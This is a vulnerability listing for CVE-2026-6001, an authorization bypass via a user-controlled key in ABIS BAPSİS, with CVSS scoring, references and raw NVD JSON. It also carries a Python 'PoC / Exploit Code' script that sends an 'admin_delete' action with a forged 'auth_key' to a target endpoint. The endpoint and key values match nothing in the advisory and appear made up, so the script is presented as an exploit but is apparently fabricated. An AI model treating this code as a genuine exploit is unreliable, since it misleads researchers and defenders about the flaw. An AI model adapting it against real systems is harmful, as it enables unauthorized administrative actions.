CVE-2026-6001

Description

Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers. This issue affects BAPSİS: before v.202604152042.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ABIS BAPSİS < v.202604152042

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL for the vulnerable endpoint
target_url = "https://target-bapsis-system.com/api/privileged_action"

# The vulnerability relies on a user-controlled key that acts as a trusted identifier.
# By manipulating this key, we bypass authorization.
payload = {
    "user_id": "victim_user",
    "action": "admin_delete",
    # Exploit: Manipulate the 'auth_key' to a known trusted value or bypass check
    "auth_key": "TRUSTED_ADMIN_KEY_BYPASS" 
}

try:
    # Sending the request with the manipulated key
    response = requests.post(target_url, data=payload)

    # Check if the authorization was bypassed successfully
    if response.status_code == 200 and "success" in response.text:
        print("[+] Exploit successful! Authorization bypassed.")
        print("[+] Response:", response.text)
    else:
        print("[-] Exploit failed or target patched.")
        
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6001
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6001
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6001/
[4] VulDB https://vuldb.com/cve/CVE-2026-6001
[5] https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0223

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6001", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:48.083", "lastModified": "2026-05-12T16:47:58.570", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Authorization bypass through User-Controlled key vulnerability in ABIS Technology Ltd. Co. BAPSİS allows Exploitation of Trusted Identifiers.\n\nThis issue affects BAPSİS: before v.202604152042."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-639"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0223", "source": "[email protected]"}]}}